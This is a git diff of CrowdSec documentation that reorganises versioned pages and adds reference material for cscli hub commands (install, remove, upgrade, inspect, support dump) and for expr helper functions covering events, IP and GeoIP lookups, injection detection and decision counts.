+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_upgrade.md
new file mode 100644
index 000000000..932b161a7
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_postoverflows_upgrade.md
@@ -0,0 +1,63 @@
+---
+id: cscli_postoverflows_upgrade
+title: cscli postoverflows upgrade
+---
+## cscli postoverflows upgrade
+
+Upgrade given postoverflow(s)
+
+### Synopsis
+
+Fetch and upgrade one or more postoverflows from the hub
+
+```
+cscli postoverflows upgrade [item]... [flags]
+```
+
+### Examples
+
+```
+# Upgrade some postoverflows. If they are not currently installed, they are downloaded but not installed.
+cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --dry-run -o raw
+
+# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss -i
+cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --interactive
+```
+
+### Options
+
+```
+ -a, --all Upgrade all the postoverflows
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force upgrade: overwrite tainted and outdated files
+ -h, --help help for upgrade
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_inspect.md
similarity index 70%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_inspect.md
index 40eeacd95..7d4e70af7 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_inspect.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_inspect.md
@@ -17,7 +17,18 @@ cscli scenarios inspect [item]... [flags]
### Examples
```
+# Display metadata, state and ancestor collections of scenarios (installed or not).
cscli scenarios inspect crowdsecurity/ssh-bf crowdsecurity/http-probing
+
+# If the scenario is installed, its metrics are collected and shown as well (with an error if crowdsec is not running).
+# To avoid this, use --no-metrics.
+cscli scenarios inspect crowdsecurity/ssh-bf --no-metrics
+
+# Display difference between a tainted item and the latest one.
+cscli scenarios inspect crowdsecurity/ssh-bf --diff
+
+# Reverse the above diff
+cscli scenarios inspect crowdsecurity/ssh-bf --diff --rev
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_install.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_install.md
similarity index 51%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_install.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_install.md
index 16029344e..20a6b0ef2 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_install.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_install.md
@@ -17,16 +17,35 @@ cscli scenarios install [item]... [flags]
### Examples
```
+# Install some scenarios.
cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw
+
+# Download only, to be installed later.
+cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --download-only
+
+# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing -i
+cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive
```
### Options
```
-d, --download-only Only download packages, don't enable
+ --dry-run Don't install or remove anything; print the execution plan
--force Force install: overwrite tainted and outdated files
-h, --help help for install
--ignore Ignore errors when installing multiple scenarios
+ -i, --interactive Ask for confirmation before proceeding
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_list.md
similarity index 88%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_list.md
index 7d9ddadf1..2f3fb6793 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_scenarios_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_list.md
@@ -17,11 +17,14 @@ cscli scenarios list [item... | -a] [flags]
### Examples
```
+# List enabled (installed) scenarios.
cscli scenarios list
+
+# List all available scenarios (installed or not).
cscli scenarios list -a
-cscli scenarios list crowdsecurity/ssh-bf crowdsecurity/http-probing
-List only enabled scenarios unless "-a" or names are specified.
+# List specific scenarios (installed or not).
+cscli scenarios list crowdsecurity/ssh-bf crowdsecurity/http-probing
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_remove.md
new file mode 100644
index 000000000..820186914
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_remove.md
@@ -0,0 +1,67 @@
+---
+id: cscli_scenarios_remove
+title: cscli scenarios remove
+---
+## cscli scenarios remove
+
+Remove given scenario(s)
+
+### Synopsis
+
+Remove one or more scenarios
+
+```
+cscli scenarios remove [item]... [flags]
+```
+
+### Examples
+
+```
+# Uninstall some scenarios.
+cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw
+
+# Uninstall and also remove the downloaded files.
+cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --purge
+
+# Remove tainted items.
+cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing -i
+cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive
+```
+
+### Options
+
+```
+ --all Remove all the scenarios
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force remove: remove tainted and outdated files
+ -h, --help help for remove
+ -i, --interactive Ask for confirmation before proceeding
+ --purge Delete source file too
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_upgrade.md
new file mode 100644
index 000000000..5a1b97623
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_scenarios_upgrade.md
@@ -0,0 +1,63 @@
+---
+id: cscli_scenarios_upgrade
+title: cscli scenarios upgrade
+---
+## cscli scenarios upgrade
+
+Upgrade given scenario(s)
+
+### Synopsis
+
+Fetch and upgrade one or more scenarios from the hub
+
+```
+cscli scenarios upgrade [item]... [flags]
+```
+
+### Examples
+
+```
+# Upgrade some scenarios. If they are not currently installed, they are downloaded but not installed.
+cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw
+
+# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing -i
+cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive
+```
+
+### Options
+
+```
+ -a, --all Upgrade all the scenarios
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force upgrade: overwrite tainted and outdated files
+ -h, --help help for upgrade
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_simulation.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_simulation.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_simulation.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_simulation.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_simulation_disable.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_simulation_disable.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_simulation_disable.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_simulation_disable.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_simulation_enable.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_simulation_enable.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_simulation_enable.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_simulation_enable.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_simulation_status.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_simulation_status.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_simulation_status.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_simulation_status.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_support.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_support.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_support.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_support.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_support_dump.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_support_dump.md
similarity index 81%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_support_dump.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_support_dump.md
index fd44f7313..6148f9f5b 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_support_dump.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_support_dump.md
@@ -8,20 +8,17 @@ Dump all your configuration to a zip file for easier support
### Synopsis
-Dump the following informations:
+Dump the following information:
- Crowdsec version
- OS version
-- Installed collections list
-- Installed parsers list
-- Installed scenarios list
-- Installed postoverflows list
-- Installed context list
-- Bouncers list
-- Machines list
-- CAPI status
-- LAPI status
+- Enabled feature flags
+- Latest Crowdsec logs (log processor, LAPI, remediation components)
+- Installed collections, parsers, scenarios...
+- Bouncers and machines list
+- CAPI/LAPI status
- Crowdsec config (sensitive information like username and password are redacted)
- Crowdsec metrics
+- Stack trace in case of process crash
```
cscli support dump [flags]
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_version.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_version.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_version.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_version.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/alert.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/alert.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/alert.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/alert.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/cti_helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/cti_helpers.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/cti_helpers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/cti_helpers.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/decision.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/decision.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/decision.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/decision.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/expr/event.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/event.md
new file mode 100644
index 000000000..f6b57f447
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/expr/event.md
@@ -0,0 +1,148 @@
+---
+id: event
+title: Event
+sidebar_position: 2
+---
+
+# Introduction
+
+An `Event` is the runtime representation of an item being processed by crowdsec. It can represent:
+
+ - a Log line being parsed: `Type` is set to `log`, and `Line`, `Parsed` and `Meta` are populated
+ - an appsec rule match (`Appsec` holds the WAF rule match info)
+ - an overflow being reprocessed (`Overflow` is used)
+
+
+The `Event` object is modified by parsers, scenarios, and passed along. [The representation of the object can be found here : Event object documentation](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#Event).
+
+
+
+## Event Object : Log Line
+
+When `Event` is a log line, `evt.GetType()` returns `log`, and the following fields are used:
+ - `Meta` and `Parsed` maps are holding parsing results.
+ - `Line` holds the representation of the original Log line.
+
+## Event Object : Overflow
+
+When `Event` is an overflow being reprocessed (`reprocess: true` in the originating scenario), `evt.GetType()` returns `appsec`, and [the `Overflow` object is used.](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#RuntimeAlert)
+
+
+## Event Object : Appsec
+
+When `Event` is an event from the WAF/Appsec engine, `evt.GetType()` returns `appsec`, and [the `Appsec` field](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#AppsecEvent) is used, [more specifically `Appsec.MatchedRules`.](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#MatchedRules)
+
+
+## Event Methods
+
+## Logs & Alerts Helpers
+
+### `Event.Time`
+
+The `event` object holds a `Time` field that is set to the date of the event (in time-machine mode) or the time of event acquisition (in live mode). As it is a golang's `time.Time` object, [all the time helpers are available](https://pkg.go.dev/time#Time), but only a few are showcased here.
+
+#### `Event.Time.Hour() int`
+
+Returns the hour of the day of the event.
+
+> `filter: "evt.Meta.log_type == '...' && (evt.Time.Hour() >= 20 || evt.Time.Hour() < 6)`
+
+Will detect if the event happened between 8pm and 6am (NWO).
+
+#### `Event.Time.Weekday().String() string`
+
+Returns the day of the week as a string (`Monday`, `Tuesday` etc.).
+
+> `filter: "evt.Meta.log_type == '...' && evt.Time.Weekday().String() in ['Saturday', 'Sunday']`
+
+Will detect if the event happend over the weekend (NWD).
+
+### `GetMeta(Key) Value`
+
+Returns the first value for the `Key` Meta if it exists in the event.
+
+> `evt.GetMeta("foobar")`
+
+### `SetMeta(key, value) bool`
+
+Sets the value of `key` to `value` in the Meta map.
+
+> `evt.SetMeta('foobar', 'toto)`
+
+
+### `GetType() String`
+
+Returns the type of event, `overflow`, `appsec` or `log`.
+
+> `evt.GetType() in ["log", "appsec"]`
+
+### `ParseIPSources() []net.IP`
+
+Returns the list of IPs attached to the event, for both `overflow` and `log` type.
+
+
+### `SetParsed(key, value) bool`
+
+Sets the value of `key` to `value` in the Parsed map.
+
+## Appsec Helpers
+
+If the `Event` is the result of a rule being, matched, `Event.Appsec` is present.
+
+### `Appsec.GetVar(name) value`
+
+Returns the `value` of the Appsec var `name`.
+
+> `evt.Appsec.GetVar("foobar")`
+
+### `Appsec.MatchedRules`
+
+`MatchedRules` is the list of rules that matched in the HTTP Request. It is an array of `map`, and each entry contains the following keys:
+
+ - `id`, `name`, `msg`, `rule_type`, `tags`, `file`, `confidence`, `revision`, `secmark`, `accuracy`, `severity`, `kind`
+
+> `evt.Appsec.MatchedRules` and use below functions
+
+Various filtering methods are available:
+ - `MatchedRules.ByAccuracy(accuracy string) MatchedRules`
+ - `MatchedRules.ByDisruptiveness(is bool) MatchedRules`
+ - `MatchedRules.ByID(id int) MatchedRules`
+ - `MatchedRules.ByKind(kind string) MatchedRules`
+ - `MatchedRules.BySeverity(severity string) MatchedRules`
+ - `MatchedRules.ByTag(match string) MatchedRules`
+ - `MatchedRules.ByTagRx(rx string) MatchedRules`
+ - `MatchedRules.ByTags(match []string) MatchedRules`
+ - `MatchedRules.GetField(field Field) []interface{}`
+ - `MatchedRules.GetHash() string`
+ - `MatchedRules.GetMatchedZones() []string`
+ - `MatchedRules.GetMethod() string`
+ - `MatchedRules.GetName() string`
+ - `MatchedRules.GetRuleIDs() []int`
+ - `MatchedRules.GetURI() string`
+ - `MatchedRules.GetVersion() string`
+ - `MatchedRules.Kinds() []string`
+
+Example usage would be to have `on_match` rules to alter the WAF remediation:
+
+```yaml
+on_match:
+ - filter: |
+ any( evt.Appsec.MatchedRules, #.name == "crowdsecurity/vpatch-env-access") and
+ ...
+ apply:
+ - SetRemediation("allow")
+```
+
+You can view detailed [`MatchedRules` doc here](https://pkg.go.dev/github.com/crowdsecurity/crowdsec/pkg/types#MatchedRules).
+
+## Source specific helpers
+
+### `Source.GetValue() string`
+
+Return the `Source.Value` field value of a `Source`.
+
+### `Source.GetScope() string`
+
+Return the `Source.Scope` field value of `Source` (`ip`, `range` ...)
+
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/file_helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/file_helpers.md
similarity index 83%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/file_helpers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/file_helpers.md
index b3ae0bcc2..e4b4b7d22 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/file_helpers.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/expr/file_helpers.md
@@ -5,7 +5,7 @@ sidebar_position: 3
---
:::info
-File helpers do not load the file into memory, but rather use a cache on initial startup to avoid loading the same file multiple times. Please see [the data property](/scenarios/format.md#data) on how to configure the Security Engine to load the file.
+File helpers do not load the file into memory, but rather use a cache on initial startup to avoid loading the same file multiple times. Please see [the data property](/log_processor/scenarios/format.md#data) on how to configure the Security Engine to load the file.
:::
### `File(FileName) []string`
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/intro.md
similarity index 58%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/intro.md
index 8c3de41e5..02a8c21fe 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/intro.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/expr/intro.md
@@ -8,10 +8,10 @@ sidebar_position: 1
Several places of CrowdSec's configuration use [expr](https://github.com/antonmedv/expr), notably :
- - [Filters](/parsers/format.md#filter) that are used to determine events eligibility in parsers, scenarios and profiles
- - [Statics](/parsers/format.md#statics) use expr in the `expression` directive, to compute complex values
- - [Whitelists](/whitelist/introduction.md) rely on `expression` directive to allow more complex whitelists filters
- - [Profiles](/profiles/intro.md) rely on `filters` directives to find matching profiles
+ - [Filters](/log_processor/parsers/format.md#filter) that are used to determine events eligibility in parsers, scenarios and profiles
+ - [Statics](/log_processor/parsers/format.md#statics) use expr in the `expression` directive, to compute complex values
+ - [Whitelists](/log_processor/whitelist/introduction.md) rely on `expression` directive to allow more complex whitelists filters
+ - [Profiles](/local_api/profiles/intro.md) rely on `filters` directives to find matching profiles
To learn more about [expr](https://github.com/antonmedv/expr), [check the github page of the project](https://github.com/antonmedv/expr/blob/master/docs/Language-Definition.md).
@@ -19,6 +19,6 @@ To learn more about [expr](https://github.com/antonmedv/expr), [check the github
When CrowdSec relies on `expr`, a context is provided to let the expression access relevant objects :
- `evt.` is the representation of the current event and is the most relevant object
- - in [profiles](/profiles/intro.md), alert is accessible via the `Alert` object
+ - in [profiles](/local_api/profiles/intro.md), alert is accessible via the `Alert` object
If the `debug` is enabled (in the scenario or parser where expr is used), additional debug will be displayed regarding evaluated expressions.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/ip_helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/ip_helpers.md
similarity index 66%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/ip_helpers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/ip_helpers.md
index 039c5b9e1..ca6b9a8e8 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/ip_helpers.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/expr/ip_helpers.md
@@ -6,6 +6,7 @@ sidebar_position: 3
## IP Helpers
+
### `IpInRange(IPStr, RangeStr) bool`
Returns true if the IP `IPStr` is contained in the IP range `RangeStr` (uses `net.ParseCIDR`)
@@ -30,6 +31,25 @@ scope:
> `IpToRange("192.168.42.1", "16")` returns `192.168.0.0/16`
+### `IsIP(ip string) bool`
+
+Returns true if it's a valid IP (v4 or v6).
+
+> `IsIP("2001:0db8:85a3:0000:0000:8a2e:0370:7334")`
+
+> `IsIP("1.2.3.4")`
+
+> `IsIP(Alert.GetValue())`
+
+
+### `IsIPV4(ip string) bool`
+
+Returns true if it's a valid IPv4.
+
+> `IsIPV4("1.2.3.4")`
+
+> `IsIPV4(Alert.GetValue())`
+
### `IsIPV6(ip string) bool`
Returns true if it's a valid IPv6.
@@ -39,6 +59,7 @@ Returns true if it's a valid IPv6.
> `IsIPV6(Alert.GetValue())`
### `LookupHost(host string) []string`
+
:::warning
* Only use this function within postoverflows as it is can be very slow
* Note if you whitelist a domain behind a CDN provider, all domains using the same CDN provider will also be whitelisted
@@ -54,3 +75,16 @@ whitelist:
- evt.Overflow.Alert.Source.IP in LookupHost('mydomain.tld')
# This can be useful when you have a dynamic ip and use dynamic DNS providers
```
+
+### `GeoIPEnrich(ip string) *geoip2.City`
+
+Performs a geo lookup for IP and returns the associated [geoip2.City](https://pkg.go.dev/github.com/oschwald/geoip2-golang#City) object.
+
+
+### `GeoIPASNEnrich(ip string) *geoip2.ASN`
+
+Performs a geo lookup for IP and returns the associated [geoip2.ASN](https://pkg.go.dev/github.com/oschwald/geoip2-golang#ASN) object.
+
+### `GeoIPRangeEnrich(ip string) net.IPNet`
+
+Returns the `net.IPNet` object associated to the IP if possible.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/json_helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/json_helpers.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/json_helpers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/json_helpers.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/expr/libinjection_helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/libinjection_helpers.md
new file mode 100644
index 000000000..7a3d81c58
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/expr/libinjection_helpers.md
@@ -0,0 +1,17 @@
+---
+id: libinjection_helpers
+title: LibInjection helpers
+sidebar_position: 3
+---
+
+### `LibInjectionIsSQLI(str) bool`
+
+Use [libinjection](https://github.com/libinjection/libinjection) to detect SQL injection in `str`.
+
+> `LibInjectionIsSQLI(evt.Parsed.http_args)`
+
+### `LibInjectionIsXSS(str) bool`
+
+Use [libinjection](https://github.com/libinjection/libinjection) to detect XSS in `str`.
+
+> `LibInjectionIsXSS(evt.Parsed.http_args)`
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/other_helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/expr/other_helpers.md
similarity index 63%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/expr/other_helpers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/expr/other_helpers.md
index c33a966bd..92cec6539 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/expr/other_helpers.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/expr/other_helpers.md
@@ -25,7 +25,7 @@ Parses unix timestamp string and returns RFC3339 formatted time
### `GetFromStash(cache string, key string)`
`GetFromStash` retrieves the value for `key` in the named `cache`.
-The cache are usually populated by [parser's stash section](/parsers/format.md#stash).
+The cache are usually populated by [parser's stash section](/log_processor/parsers/format.md#stash).
An empty string if the key doesn't exist (or has been evicted), and error is raised if the `cache` doesn't exist.
## Others
@@ -50,7 +50,8 @@ Returns true if it's a valid IP (v4 or v6).
### `GetDecisionsCount(value string) int`
-Returns the number of existing decisions in database with the same value.
+Returns the number of existing decisions in the database with the same value.
+This can return expired decisions if they have not been flushed yet.
> `GetDecisionsCount("192.168.1.1")`
@@ -58,15 +59,33 @@ Returns the number of existing decisions in database with the same value.
### `GetDecisionsSinceCount(value string, since string) int`
-Returns the number of existing decisions in database with the same value since duration string (valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h".).
+Returns the number of existing decisions in the database with the same value since duration string (valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h".).
+This can return expired decisions if they have not been flushed yet.
-> `GetDecisionsCount("192.168.1.1", "7h")`
+> `GetDecisionsSinceCount("192.168.1.1", "7h")`
-> `GetDecisionsCount(Alert.GetValue(), "30min")`
+> `GetDecisionsSinceCount(Alert.GetValue(), "30min")`
+
+### `GetActiveDecisionsCount(value string) int`
+
+Returns the number of active decisions in the database with the same value.
+
+> `GetActiveDecisionsCount(Alert.GetValue())`
+
+
+### `GetActiveDecisionsTimeLeft(value string) time.Duration`
+
+Returns the time left for the longest decision associated with the value.
+
+The returned value type is `time.Duration`, so you can use all the [time.Duration methods](https://pkg.go.dev/time#Duration).
+
+> `GetActiveDecisionsTimeLeft(Alert.GetValue())`
+
+> `GetActiveDecisionsTimeLeft(Alert.GetValue()).Hours() > 1"
### `KeyExists(key string, map map[string]interface{}) bool`
-Return true if the `key` exist in the map.
+Return true if the `key` exists in the map.
### `Get(arr []string, index int) string`
@@ -126,46 +145,3 @@ Return the list of IP addresses in the alert sources.
### `Alert.GetEventsCount() int32`
Return the number of events in the bucket.
-
-
-## Event specific helpers
-
-
-### `Event.GetType() string`
-
-Returns the type of an Event : `overflow` or `log`.
-
-### `Event.GetMeta(key string) string`
-
-Return the `value` of the `Meta[key]` in the Event object (`Meta` are filled only for events of type `overflow`).
-
-### `Event.Time`
-
-The `event` object holds a `Time` field that is set to the date of the event (in time-machine mode) or the time of event acquisition (in live mode). As it is a golang's `time.Time` object, [all the time helpers are available](https://pkg.go.dev/time#Time), but only a few are showcased here.
-
-#### `Event.Time.Hour() int`
-
-Returns the hour of the day of the event.
-
